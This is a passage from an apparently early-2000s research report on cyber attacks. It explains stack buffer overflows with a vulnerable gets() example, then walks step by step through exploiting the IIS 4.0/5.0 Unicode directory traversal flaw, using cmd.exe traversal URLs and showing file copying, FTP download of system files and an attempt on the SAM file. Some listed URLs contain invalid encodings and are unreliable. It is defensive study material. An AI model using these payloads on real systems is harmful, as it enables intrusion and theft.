Executive Summary

Cyber attack techniques are constantly evolving and making use of lessons learned over time. To keep pace with attackers and protect critical information systems in our ever more connected world, defense mechanisms must also become more sophisticated. Often understanding attack techniques more clearly is the first step toward increasing security. This paper will provide a detailed explanation of several types of attacks and suggest how these attacks may be countered.

Buffer overflows are the most common form of cyber attacks used to compromise remote or local computers. While exact figures are unavailable, buffer overflows – also know as stack smash attacks – are believed to account for at least half of all online attacks. This assumption is underlined by the fact that 19 of 37 security advisories issued by the Computer Emergency Response Team (CERT) Coordination Center at Carnegie Mellon University in 2001 warned of buffer overflow vulnerabilities. Such attacks have been shown to affect all kinds of platforms, operating systems and applications, making them a pervasive problem.

Buffer overflow exploits make use of a vulnerability that fails to properly check input into memory on bounds. By overwriting parts of memory, an attacker is able to execute malicious code on the vulnerable machine, thereby giving him the opportunity to take over the system.

Good programming practices are the best way to protect against buffer overflow flaws, but most software developers have, in the past, been guilty of placing product innovation, delivery deadlines and functionality ahead of security. This must change if the rising tide of cyber attacks is to be stemmed. Alternatively, it is possible to disable the executable status of the input buffer on most systems to prevent buffer overflows. However, this is rarely done. By tagging the stack as non-executable, malicious code would no longer be allowed to execute from memory as a result of a buffer overflow. Even implementing these security measures would not completely protect against buffer overflows, but it would raise the bar for hackers and significantly reduce the number of exploitable flaws.

Attackers are ruthlessly exploiting the growing number of vulnerabilities in software products. Due to the availability of pre-fabricated attack tools and the dissemination of hacker knowledge, assailants with limited skills can launch relatively sophisticated attacks. This is demonstrated using the example of an exploit for the recent Extended Unicode Directory Traversal Vulnerability in Microsoft Internet Information Server (IIS) systems (versions 4 and 5). This flaw, which was used by the Code Red and Nimda worms to facilitate their widespread propagation, can be exploited using a number of simple attack techniques and readily available hacker tools. More worryingly, the exploit can help an attacker gain additional privileges on the vulnerable machine, thereby allowing him to take over the system. Once in control of the system, the exploit can be used for a variety of malicious purposes, from website defacements and worm propagation to espionage and terrorism.
The best way to protect against this exploit is to patch vulnerable IIS systems. A patch was available from Microsoft before the Code Red and Nimda worms struck, but many system administrators failed to apply it, contributing to the insecure online environment. It is assumed that most IIS systems have now been patched. Nevertheless, thousands of vulnerable systems may still be online, with new IIS flaws being discovered regularly. Disabling unneeded services and protocols, like NetBIOS or tftp, and restricting permissions of visitor accounts could further enhance security.

Intrusion detection systems (IDS) have been around for a number of years to warn of cyber strikes, but the way they currently analyze data offers a restricted view of cyber attack activity. In computer and network security, standard approaches to intrusion detection and response attempt to detect and prevent individual attacks. Hence they only provide a fragmented perspective on the activities of an attacker. However, it is not the attack but rather the attacker against which networks must be defended.

By restructuring the information collected by various intrusion detection systems using Bayesian multiple hypothesis tracking, a ‘big picture’ view of attack behavior can be gleaned. This holistic approach could be invaluable when it comes to providing early warning of large-scale distributed attacks or denial of service (DoS) strikes against critical systems.

Cyber security and infrastructure protection can only be achieved by understanding the behavior and techniques of attackers and building defenses based on this knowledge. The cyber arms race can be won if defenders possess the same resources and skills as hackers and cyber terrorists.
# Table of Contents

**Executive Summary**.......................................................................................................... 1  
**Table of Contents** ..............................................................................................................3  
**Introduction**....................................................................................................................... 4  
**Disabling Buffer Overflow Exploits** ................................................................................ 6  
  - Memory Management..................................................................................................... 7  
  - Buffer Overflow Exploits ............................................................................................. 11  
  - Defending Against Buffer Overflows ........................................................................... 12  
**Exploiting the Microsoft IIS 4.0/5.0 Extended Unicode Directory Traversal Vulnerability** .................................................................................................................. 14  
  - Background................................................................................................................... 14  
  - Protocol Description ..................................................................................................... 15  
    - HTTP (Hypertext Transfer Protocol) ........................................................................ 15  
    - TFTP (Trivial File Transfer Protocol) ...................................................................... 16  
    - NetBIOS (Network Basic Input/Output System)...................................................... 16  
  - Description of Variants ................................................................................................. 17  
  - How the Exploit Works ................................................................................................ 18  
  - Potential Implications of Using the Exploit .................................................................. 27  
  - Diagram of the Exploit.................................................................................................. 28  
  - How to Use the Exploit ................................................................................................. 30  
  - Source Code/Pseudo Code ............................................................................................ 30  
  - Signature of the Attack ................................................................................................. 34  
  - How to Protect Against the Exploit .............................................................................. 34  
**Analysis of Distributed Intrusion Detection Systems Using Bayesian Methods** ............ 36  
  - Background ................................................................................................................... 36  
    - Intrusion Detection Systems ..................................................................................... 36  
    - Related Work .............................................................................................................. 37  
  - Data Refinement and Knowledge Creation .................................................................. 38  
    - Network vs. Attacker Centric View .......................................................................... 38  
    - Observe, Orient, Decide and Act .............................................................................. 40  
  - Multiple Hypothesis Tracking ...................................................................................... 41  
    - Hypothesis Generation .............................................................................................. 42  
    - Attacker Behavioral Models ..................................................................................... 42  
  - Status of Work .............................................................................................................. 44  
**Conclusion**....................................................................................................................... 46  
**Additional Information** .................................................................................................... 47  
  - Buffer Overflows ........................................................................................................ 47  
  - Microsoft IIS 4.0/5.0 Extended Unicode Directory Traversal Vulnerability Exploit... 48  
  - Analysis of Intrusion Detection Systems Using Bayesian Methods.......................... 48
Introduction

This report focuses on cyber attack techniques and defense mechanisms. By giving detailed explanations of several kinds of cyber attacks, these attacks can be understood better and defended against.

The first section discusses buffer overflows – also known as stack smash attacks. These attacks are arguably the most common way for hackers to compromise remote or local computers, and new buffer overflow vulnerabilities are found almost daily in a wide array of systems.

The paper introduces some basic concepts of memory management, such as program control flow and the workings of the program execution stack, to illustrate how buffer overflows work. Using example functions, the paper demonstrates how a buffer overflow attack is executed by exploiting improper input validation into memory. It further suggests that good programming practices and setting the memory stack to be non-executable could seriously reduce vulnerability to buffer overflow attacks. Although talented hackers will always find ways to compromise systems, these security measures would raise the bar for hackers and limit the number of potential attackers with the necessary skills.

The second section shows how an attacker could exploit the Extended Unicode Directory Traversal Vulnerability in Microsoft Internet Information Server (IIS) systems (version 4.0 and 5.0) to gain control of the system and run malicious code using simple attack techniques and readily available hacker tools.

The paper offers an introduction into some of the protocols used during the hack and describes exactly how the exploit works. Using a detailed step-by-step approach, it will be shown how easy it is to compromise a vulnerable machine using this exploit and what malicious actions can be undertaken as a result. Moreover, this section will outline how to recognize an attack using this exploit and what measures to take to protect vulnerable systems.

The final section examines how data gathered from distributed intrusion detection systems (IDS) can be analyzed more effectively through the application of Bayesian methods.

Current IDS software offers an isolated view of attack activity from individual systems or networks. By gathering the information being provided by various intrusion detection systems, dividing it into its component parts, and re-examining it using Bayesian multiple hypothesis tracking, the activity of individual attackers can be highlighted. Using this method it should be possible to improve the capabilities for early detection of distributed attacks against infrastructures and the detection of the preliminary phases of distributed denial of service attacks (DDoS).
Authors of this report:

Eric Goetz  
Research Analyst, IRIA

Vincent Berk  
Research Engineer, IRIA

Guofei Jiang  
Senior Research Engineer, IRIA

Dan Burroughs  
Project Engineer, IRIA

Input and assistance received from George Bakos, Marion Bates, Julie Cullen, Trey Gannon, Robert Gray and Dennis McGrath.
Disabling Buffer Overflow Exploits

The most common cyber attack used in (remote or local) computer compromises is the 'stack-smash', more commonly known as 'buffer-overflow'. This form of attack accounts for a large percentage of all remote computer compromises (either through direct or automated attacks, like worms and viruses). While exact figures are disputed, the number is probably above 50%. A buffer overflow exploit makes use of a vulnerability that fails to properly check input into memory. By going out of bounds, parts of memory, which are supposed to be untouched, become overwritten. By current system design it is possible to alter program flow, thereby allowing the attacker to execute arbitrary code on the vulnerable machine.

The number of vulnerabilities reported in software programs continues to rise markedly from year to year. According to the Computer Emergency Response Team (CERT) Coordination Center at Carnegie Mellon University, the number of vulnerabilities has skyrocketed from 171 in 1995 to 2,437 in 2001 (compared to 1,090 in 2000).¹ These vulnerabilities occur in a variety of systems and platforms, but most of them have one thing in common: they exploit buffer overflow flaws. In fact, 19 of CERT’s 37 security advisories in 2001 warned of vulnerabilities resulting from buffer overflows.²

These kinds of attacks have been around for decades with no sign of respite. No system or platform – open source or proprietary - is currently immune to buffer overflow exploits. Recent examples of buffer overflow vulnerabilities in a diverse array of systems include: a buffer overflow vulnerability in Microsoft Internet Information Server (IIS) systems that was exploited for widespread propagation by the Code Red worm³; a buffer overflow in Telnet daemons derived from BSD source code⁴; a buffer overflow in PGP Security’s Gauntlet Firewall product⁵; a buffer overflow flaw in the UPnP service for Windows 98, ME and XP⁶; a buffer overflow in America Online’s popular ICQ chat service⁷; a buffer overflow in Microsoft’s Internet Explorer web browser⁸. All these

² 'NIPC - Highlights – Issue 2-02’, Linda Garrison and Martin Grand, NIPC, May 15, 2002 Also, a search on securityfocus.com revealed that 42 new buffer overflow vulnerabilities had been discovered in May 2002 alone in a variety of systems - http://online.securityfocus.com/sfonline/vulns/stats.shtml
examples are indicative of the overall problem of buffer overflows – they are widespread and affect all kinds of architectures, operating systems and applications.9

Memory Management

Before explaining how buffer overflow exploits work, it is necessary to briefly discuss some basic concepts of memory management to illustrate how these attacks function.10

Memory contains both data (the contents of a word document or listings in a database, for instance) and executable code. That code is what the processing unit reads to determine what operations to execute. Data should never be used as executable code.

The first concept we will discuss is program control flow (PCF). PCF is crucial because it is manipulated by a buffer overflow exploit. A computer has memory in which data can be stored and a processing unit with which data can be worked on (i.e. input is read from the keyboard, processed and sent to the screen). Operations on data are organized in chunks of related operations called functions. These functions generally perform a specific task – input/output (like reading from the keyboard and writing to the screen), data calculations (like sorting a list of names into alphabetical order), system management (like reading a file from a designated location), or the likes. It is important to understand that functions can (and usually do) call other functions as part of their normal operations. Therefore, each executed action is based on a sequence of functions. The order in which operations and functions are executed is called program control flow.

Below is an example of two functions (two other functions are called within one of the two functions), which is used to show how functions work and how they relate to one another. This example will later be used to illustrate the concept of buffer overflow exploits.

```c
#include <stdio.h>

void func ()
{
    char b[9];

    gets (b);
    printf ("%s\n", b);
}

int main (int argc, char **argv)
{
    
```
The second function (main) is the top-level function that gets called when the program is executed. So, at program start-up, the program control flow hands operations over to the main function. Within the main function, a variety of other functions are called upon to execute specific operations – imagine this as a complex hierarchy of related functions, the order of which is regulated by the program control flow. The main function in our example simply calls the other function (func), which then, in turn, allocates space for nine characters in memory (char b[9]). It uses these nine characters as input for the following two functions that are called. The first of these functions gets characters from the keyboard and places them in the memory space we have allocated (gets (b)). The second of these functions prints the characters to the screen from the buffer (printf("%s\n", b)) - see Figure 1.

In this context it is necessary to remember where to continue after we have exited a function. This is done by storing the return address of the location where we were before entering the function - see Figure 2. As part of the execution of each function it is possible to call upon other functions. In so doing, it will again be necessary to store and restore the location in the same fashion as just described. All this is done through the program execution stack in memory.
The program execution stack is basically a scratch pad for storing small temporary pieces of data that are required in the execution of a program. It is important to note that the order in which things are placed on the stack is the order in which they will be retrieved.

Figure 2: Returning to a stored location after executing a function

Further, the actual top of the stack grows down, not up, meaning that the bottom of the stack has the highest memory address. The stack can be written to, or retrieved from, using two main commands – push to write to, and pop to retrieve - see Figure 3. Therefore, it is a convenient storage place for return addresses for when you enter and exit functions because, if you go multiple levels deep into functions, the return addresses will be stacked in such a way that they are retrieved in the right order. Not only return addresses, but also temporary memory allocation, is stored in the stack.
This is demonstrated using the example introduced earlier.\textsuperscript{11} IP Main, which is an instruction pointer back to the main function, is pushed onto the stack; char b[9] is also placed on the stack – this introduces temporary memory for nine characters; IP func, which is an instruction pointer to the func function, is pushed on the stack – this is necessary so we know where to return to after executing the 'gets' function; ‘gets’ is now executed and writes to the buffer (filling temporary memory space from bottom to top); IP func is now popped in order to continue execution of func;\textsuperscript{12} char b[9] is no longer needed and is popped off the stack; IP main is popped to return to the main function - see Figure 4.

\textsuperscript{11} The example we are using is a simplification of what is actually occurring on the stack, but it suffices to illustrate the points we are making.

\textsuperscript{12} The same kind of process happens to ‘printf’. Note that ‘printf’ reads from the temporary buffer instead of writing to it.
Buffer Overflow Exploits

Having explained the basic concepts of memory management, we will now discuss how buffer overflow exploits work. Such exploits generally take advantage of improper input validation. The program that takes input (from any source, including networks) fails to properly check the incoming data on bounds. This way the input buffer can be overflowed and data can be written to dangerous parts of memory.\(^\text{13}\)

In our example, the nine-character buffer is only meant to contain nine characters. If input is not validated to ensure that no more than nine characters are entered (the ‘gets’ command does not validate input) the buffer can be overflowed. This way, the instruction pointer to the main function (IP Main) can be overwritten. Therefore, the flow of the program is disrupted and it cannot return to the main function. If arbitrary characters overwrite the return address, the processor will try to resume execution where it believes

the overflow data is pointing to in memory. This generally crashes the program because there is little chance that executable code exists at this destination in memory.\footnote{If the destination point in memory is not allocated to the current process, the processor will cease execution of the program (this type of exception is called a segmentation fault).}

Alternatively, the input buffer can be filled with program code and, using the buffer overflow vulnerability, the machine can be tricked into executing this code. If the return address is made to point at the code just written into the buffer, it can be executed when the function (func) tries to return to its caller (main). Instead of returning to the main function, our program will continue execution of the (malicious) code on the stack. This way an attacker can execute arbitrary code on the target machine and thus take full control of the system - see Figure 5.

\begin{figure}[h]
\centering
\includegraphics[width=\textwidth]{buffer_overflow_diagram.png}
\caption{Execution of a buffer overflow exploit}
\end{figure}

### Defending Against Buffer Overflows

The best defense against such an attack is proper programming practices.\footnote{For more on defending against buffer overflow exploits see ‘Buffer Overflow’, Op. Cit and http://packetstorm.decepticons.org/programming-tutorials/unix.secure.programming.html} If the programmer takes care to avoid vulnerable methods and properly validates input, such weaknesses should not occur. For each vulnerable function (like ‘gets’) there is a non-vulnerable alternative (‘fgets’, for instance, requires the programmer to specify the maximum number of characters the function is allowed to read into a buffer) that can be used without any conceivable drawbacks.

Despite its recent drive toward safer programming practices, Microsoft Corp. is notorious for producing vulnerable code. In the past, security has regularly been a programming afterthought, leaving a myriad of holes for skilled hackers to exploit. Having said this, Microsoft is not alone in developing vulnerable code. As was shown above, buffer overflow flaws have been found in all kinds of programs and applications, indicating that
poor programming practices are common. Even open source code has recently been attacked for potentially opening up vital national systems to attacks by hackers and cyber terrorists. However, these claims have been somewhat discredited by speculation that they were made in collaboration with Microsoft. Either way, sensible programming practices that focus on security above all else are the key to writing safe software.

Furthermore, on most systems, it is possible to disable the executable status of the input buffer. The data in a memory stack is always supposed to contain data, and never executable code. By tagging the stack as non-executable, the processor will generate an exception when it is directed to execute code on the stack. This exception will cause the program to be terminated unless the program has sophisticated routines to recover from such an attempt. However, operating systems (Windows, Linux, Solaris) would have to set the stack to be non-executable, something that is currently only done in Solaris on the UltraSPARC architecture. A kernel patch is available for Linux 2.4 kernels that will also implement this setting, but Microsoft Windows products currently fail to address this problem.

Even introducing these security measures would not completely protect against buffer overflow exploits. In few cases it is possible to defeat this protection. For example, there is a way to overcome non-executable stacks by vectoring to certain functions already in the code. There is currently little even a good programmer can do to protect against this kind of attack.

However, implementing the suggested security measures seriously limits an attacker's options and requires a greater level of programming skill to perpetrate successful attacks. This removes most potential attackers from the equation. Therefore, these security measures would go a long way toward protecting systems by significantly reducing the number of exploitable vulnerabilities.

---

18 It should be noted that disabling the executable status of the input buffer could potentially cause backward compatibility issues.
19 See - www.grsecurity.net
Exploiting the Microsoft IIS 4.0/5.0 Extended Unicode Directory Traversal Vulnerability

This section will show how an attacker can exploit the Extended Unicode Directory Traversal Vulnerability in Microsoft Internet Information Server (IIS) systems (version 4.0 and 5.0) to gain control of the system and run malicious code.

This particular vulnerability, while already quite old, is interesting because the Code Red and Nimda worms utilized it to spread. In this fashion, hundreds of thousands of unsecured web servers were compromised, causing widespread economic damage and disruption. Most of the systems that were vulnerable to this exploit should now be patched, but thousands of unsecured machines may still be online.

The paper offers an introduction into some of the protocols used during the hack and describes exactly how the exploit works. Using a detailed step-by-step approach, it will be shown how easy it is to compromise a vulnerable machine using this exploit and what malicious actions can be undertaken as a result. Moreover, this section will outline how to recognize an attack using this exploit and what measures to take to protect vulnerable systems.

Background

The Microsoft IIS 4.0/5.0 Extended Unicode Directory Traversal Vulnerability was first anonymously posted to security forum Paketstorm. It was then publicized in a Microsoft Security Bulletin (MS00-078) on October 17, 2000. This flaw is believed to be one of the most severe vulnerabilities found in the last few years and many organizations, including Microsoft Corp., have been hit by the exploit for this vulnerability.

Due to a canonicalization error in Microsoft IIS 4.0 and 5.0, a particular type of malformed URL could be used to access files and folders that lie anywhere on the logical drive that contains the web folders. This would potentially enable a malicious user who visited the website to gain additional privileges on the machine – specifically, it could be used to gain privileges commensurate with those of a locally logged-on user. Gaining these permissions would enable the malicious user to add, change or delete data, run code already on the server, or upload new code to the server and run it.

One of the principal security functions of a web server is to restrict user requests so they can only access files within the web folders. Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot '../' directory traversal exploitation if extended Unicode character representations are used in substitution for '/' and '\'. This vulnerability provides a way for a malicious user to inject a special URL into the website that will access any files whose name and location are known, and which are located on the same logical drive as

---

the web folders. This would potentially enable a malicious user to gain additional privileges on the machine and manipulate data and run malicious code on that machine.

As mentioned in other advisories, the following are some of the URLs that could be used:

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%d0%af../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%d1%9c../winnt/system32/cmd.exe?/c+your command
http://target/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+your command

**Protocol Description**

In order to understand this particular exploit, it is necessary to explain how some of the underlying protocols function. This section will discuss the Hypertext Transfer Protocol (HTTP), the Trivial File Transfer Protocol (TFTP) and the Network Basic Input/Output System (NetBIOS).

**HTTP (Hypertext Transfer Protocol)**

The HTTP protocol is based on a request/response paradigm. A client establishes a connection with a server and sends a request to that server in the form of a request method, URL, and protocol version. This is followed by a MIME-like message containing request modifiers, client information, and, possible, body content. The server responds with a status line, including the message's protocol version and a success or error code. This is also followed by a MIME-like message containing server information, entity meta-information, and, possible, body content. HTTP communication generally takes place over TCP/IP connections. The default port is TCP 80, but other ports can be used. The large majority of HTTP connections require no authentication, making it an anonymous protocol. In HTTP/1.0 there are only three kinds of requests: GET, HEAD and POST. HTTP/1.1 supports some additional request types.

Implementations of HTTP origin servers should be careful to restrict the documents returned by HTTP requests to be only those that were intended by the server administrators. If an HTTP server translates HTTP URLs directly into file system calls,

---

22 In the URLs, ‘target’ stands for the domain name or IP address for the target machine and ‘your command’ denotes commands like ‘dir’, ‘copy’, ‘del’ and so on. Based on our tests, the underlined URLs work under both MS NT 4.0 + IIS 4.0 and MS 2000 + IIS 5.0, and the others just work under MS NT4.0 +IIS 4.0.
the server must take special care not to return files that were not intended to be delivered to HTTP clients.

For example, Unix, Microsoft Windows, and other operating systems use ‘.’ as a path component to indicate a directory level above the current one. On such a system, an HTTP server must prohibit any such construct in the Request-URL (e.g. http://target address/../.../../winnt/repair/sam_) if it would otherwise allow access to a resource outside those intended to be accessible via the HTTP server. Similarly, files intended for reference only internally to the server (such as access control files, configuration files, and script code) must also be protected from inappropriate retrieval, since they might contain sensitive information. Experience has shown that minor bugs in such HTTP server implementations, such as the Microsoft IIS 4.0/5.0 Extended Unicode Directory Traversal Vulnerability, have turned into serious security risks. Later, this flaw will be exploited to highlight the vulnerability of unsecured Microsoft IIS web servers.

**TFTP (Trivial File Transfer Protocol)**

TFTP is a simple protocol to transfer files, and, therefore, was named the Trivial File Transfer Protocol. It has been implemented on top of the Internet User Datagram Protocol (UDP) in order to allow it to move files between machines on different networks implementing UDP. It was designed with simplicity and ease of use in mind. Therefore, it lacks most of the features of a regular FTP (file transfer protocol). The only thing it can do is read and write files (or mail) from/to a remote server. It cannot list directories, and currently has no provisions for user authentication. Like other Internet protocols, it passes 8 bit bytes of data. Any transfer begins with a request to read or write a file, which also serves to request a connection. If the server grants the request, the connection is opened and the file is sent in fixed length blocks of 512 bytes.

TFTP handles access and file permissions by imposing restraints on its own. Because of its lax access regulations, most system administrators impose more control on TFTP or ban its use altogether. TFTP enables both text and binary transfers. As with both Telnet and FTP, TFTP uses a server process (tftpd on the Unix system) and an executable, usually called tftp. Since TFTP has no provision for user authentication, it’s a popular avenue for hackers to exploit vulnerabilities by uploading Trojan or other malicious code to the target machine and downloading important files from it. This will be covered in more detail later as part of the exploit analysis.

**NetBIOS (Network Basic Input/Output System)**

The Network Basic Input/Output System (NetBIOS) is a session layer communications service used by client and server applications in IBM token ring and PC LAN networks. One of the most popular protocols for PCs facilitates sharing files, disks, directories, printers, and (in some cases) even COM ports across a network: this protocol is called the

SMB (Server Message Block) standard. SMB-based networks use a variety of underlying protocols, but the most popular two are ‘NetBIOS over NetBEUI’ and ‘NetBIOS over TCP/IP’. An SMB client or server expects a NETBIOS interface. In other words, it uses (or thinks it uses) the same method of communicating with any other SMB system no matter what type of protocol is used underneath. So NetBIOS provides applications (e.g. Samba) with a programming interface for sharing services and information across a variety of lower-layer network protocols, including IP.24

Since ‘NetBIOS over TCP/IP’ runs over TCP/IP, it allows the sharing of drives and printers over the Internet. This works because, if you install the TCP/IP protocol for Windows networking, some windows systems, like Windows 95, automatically install the ‘NetBIOS over TCP/IP’ protocol as well. Therefore, if access to certain resources isn’t denied, an attacker can cause significant damage, such as wiping the hard disk, over the Internet. This sharing function will be exploited during the exploit analysis to upload Trojans or malicious code to the target machines.

Description of Variants

Directory traversal vulnerabilities have been a problem for a variety of web servers for a long time. Certain web servers will allow visitors to traverse backwards up the local directory tree by using the string ‘../’ in a URL. Past examples include: Compaq Insight Manager 4.x, MS Index Server 2.0, HP JetAdmin 5.6, AnalogX simpleserver 1.06, Eserv 2.5, TalentSoft Web+ 4.x, Big Brother 1.4h, iPlanet CMS/Netscape Directory Server 4.12, Extropia Webstore 2.0 and MS IIS 4.0/5.0.

In the HTTP protocol description section, we discussed how the ‘../’ syntax in a URL can be used to traverse the directory. A lot of HTTP web servers have disallowed using the ‘../’ in the Request-URL. However, there are several ways to insert it indirectly:

1. If the ASCII characters for the dots are replaced with their hexadecimal equivalent (%2E), then directory traversal may still succeed in some HTTP servers, such as AnalogX simpleserver 1.06.

2. If the ASCII characters for the slashes are replaced with their Unicode equivalent, then directory traversal may still succeed in some HTTP servers, such as MS IIS 4.0/5.0.

As the following exploit utilizes the second option, it is necessary to elaborate on Unicode. As mentioned earlier, remote users can execute commands on MS IIS 4.0/5.0 systems by using overlong Unicode representations for ‘ ../ ‘. Unicode 2.0 allows multiple encoding possibilities for each character. For example, all of the following Unicode represents the ASCII character slash ('/'): 2f, c0 af, e0 80 af, f0 80 80 af, f8 80

---

24 For more on SMB and NetBIOS see ‘What is SMB, NetBIOS etc?’ - http://huizen.dds.nl/~jacco2/samba/smb.html
The last five overlong representations are not malformed according to the letter of the Unicode 2.0 standard. However, they are longer than necessary and a correct Unicode encoder is not allowed to produce them. A ‘safe Unicode decoder’ should reject them just like malformed sequences for two reasons:

(1) It helps to debug applications if overlong sequences are not treated as valid representations of characters, because this helps to spot problems more quickly.

(2) Overlong sequences provide alternative representations of characters, which could be used maliciously to bypass filters that check only for ASCII characters.

The whole process of how IIS canonicalizes a URL request string and interprets it is pretty complicated. Basically, MS IIS first scans given URLs for ‘../’, ‘..\’ and for the normal Unicode of these strings. If any of these are found, the string is rejected. If not, the string is decoded and interpreted. Since IIS does NOT check for the large number of overlong Unicode representations of ‘../’ and ‘..\’, the directory traverse routine is invoked. ‘../..’ allows web visitors to traverse from the current web folder (\InetPub\scripts\) backward two levels in the directory tree to the ‘root’ directory (d:\ or c:\, for instance). If the operating system folder (\winnt\) is installed on the same logical drive as the IIS folder (\InetPub\scripts\), then the command shell (../../winnt/system32/cmd.exe) can be activated as a script to run all kinds of commands on the IIS server machines.

**How the Exploit Works**

In a typical subnet, the web server, as well as the FTP and DNS servers, are often deployed in the DMZ (Demilitarized Zone). For most internal machines (IPs) hidden behind the firewall, the firewall is often configured to block all incoming TCP SYN synchronization packets that initiate new connections. However, since web, FTP and DNS servers have to allow incoming packets to initiate new connections for certain ports, they are often the first targets in all kinds of attacks. Thus, more attention needs to be paid to the vulnerability of these servers.

The following is a description of how the Extended Unicode Directory Traversal Vulnerability in Microsoft IIS servers can be exploited. In this case, two different web servers are used as part of the exploit – a Windows NT 4.0 Server + IIS 4.0 with IP address x.x.x.133 and a Windows 2000 Server + IIS 5.0 with IP address x.x.x.131. In a real attack, it is necessary to first scan the target machine in order to collect information. This is done to verify whether the target machine is running a Windows operating system (OS) and whether it has an IIS web server. In our example, we assume that both are the case. By scanning the x.x.x.133 machine’s ports with nmap, we receive the following report:

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
</tr>
</thead>
</table>

The client machine used to launch the attack is running Windows 98 (IP address x.x.x.112). Though standalone programs or Perl scripts with convenient user interfaces exist to exploit this vulnerability, this attack will simply use the Internet Explorer (IE) browser on the client machine. Later, in the ‘Source Code/Pseudo Code’ section, these exploit programs will be discussed in greater detail.

Initially, the NT Server machine with IP address x.x.x.133 will be attacked. Type the following URL in the client machine’s IE browser:

http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

The IE browser returns:

Directory of D:\InetPub\scripts

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>11/09/00</td>
<td>10:33a</td>
<td>&lt;DIR&gt;</td>
<td>.</td>
</tr>
<tr>
<td>11/09/00</td>
<td>10:33a</td>
<td>&lt;DIR&gt;</td>
<td>..</td>
</tr>
<tr>
<td>11/02/00</td>
<td>01:59p</td>
<td>&lt;DIR&gt;</td>
<td>iisadmin</td>
</tr>
<tr>
<td>11/02/00</td>
<td>01:59p</td>
<td>&lt;DIR&gt;</td>
<td>samples</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>........</td>
</tr>
<tr>
<td>11/02/00</td>
<td>03:55p</td>
<td>&lt;DIR&gt;</td>
<td>tools</td>
</tr>
<tr>
<td></td>
<td></td>
<td>File(s)</td>
<td>630,690 bytes</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1,593,176,576 bytes free</td>
</tr>
</tbody>
</table>

The request successfully returns the list of directories. We now know that the IIS web server is installed on D: drive and the current directory is D:\InetPub\scripts. To see what is on D: drive, type the following URL:

http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\

The browser returns:

Directory of d:\

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>03/13/00</td>
<td>10:08a</td>
<td>&lt;DIR&gt;</td>
<td>i386</td>
</tr>
<tr>
<td>11/02/00</td>
<td>03:37p</td>
<td>&lt;DIR&gt;</td>
<td>InetPub</td>
</tr>
<tr>
<td>11/10/00</td>
<td>11:03a</td>
<td>&lt;DIR&gt;</td>
<td>inetsrv</td>
</tr>
<tr>
<td>03/13/00</td>
<td>09:48a</td>
<td>&lt;DIR&gt;</td>
<td>Multimedia Files</td>
</tr>
<tr>
<td>11/02/00</td>
<td>03:35p</td>
<td>&lt;DIR&gt;</td>
<td>NTPackSetup</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>........</td>
</tr>
<tr>
<td>11/10/00</td>
<td>11:01a</td>
<td>134,217,728 pagefile.sys</td>
<td></td>
</tr>
<tr>
<td>11/02/00</td>
<td>04:03p</td>
<td>&lt;DIR&gt;</td>
<td>Patches</td>
</tr>
<tr>
<td>11/02/00</td>
<td>03:39p</td>
<td>&lt;DIR&gt;</td>
<td>Program Files</td>
</tr>
</tbody>
</table>
To copy a file onto the target machine, try the following URL:

http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+d:\winnt\system.ini+d:\

The browser returns:

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

1 file(s) copied.

Though the browser returned the CGI Error information, the ‘system.ini’ file was successfully copied onto the D: drive. This can be verified by returning to the d:\ directory. Other commands, such as ‘del’, ‘type’ and ‘move’, work in the same way - the browser will return the same CGI Error message, but the command will be executed on the server machine nonetheless. So far, we have established that it is possible to deface the web server and view or delete files by exploiting this vulnerability.

However, as will be shown, we are also able to download important files from the target machine and upload hacking tools and Trojans to the target machine. The port scan of the x.x.x.133 machine revealed that the FTP port is open. In this case, it allows anonymous users to log in. Anonymous users are allowed to access the ‘\Inetpub\ftproot’ folder and download files from there. However, anonymous users are prevented from uploading files to the folder or accessing other folders on the system. By exploiting the vulnerability to traverse folders and copy files among folders, it is easy to download any files one chooses:

1. Copy the files you want to the ‘\Inetpub\ftproot’ folder - for example:

http://x.x.x.133/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+d:\winnt\system.ini+d:\Inetpub\ftproot\

2. Use anonymous FTP to log into the target machine and download the file from there.

Windows NT or Windows 2000 keep a backup copy of their SAM file (Security Account Manager), which includes all account usernames and hashed passwords, in the ‘\winnt\repair’ folder. In order to get the SAM file, try typing the following URL:

26 For a list of shell commands, type ‘help’ under the MS-DOS command prompt on Windows NT machines.
27 When IIS 4.0/5.0 is installed, an FTP server is often also installed by default on the system.
The browser returns:

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Access is denied.
        0 file(s) copied.

It seems that this vulnerability does not bypass Windows NT Access Control Lists (ACLs). Some important files (like SAM) are often configured to be only accessible by an administrator account. Under Windows, a built-in IUSR_machinename account performs web actions on behalf of unauthenticated visitors to a site. Since the IUSR_machinename account is only a member of the ‘Everyone’ and ‘Users’ groups, it has no access to these important files. To facilitate further exploitation, it is necessary to upload some hacking tools to the target machine.

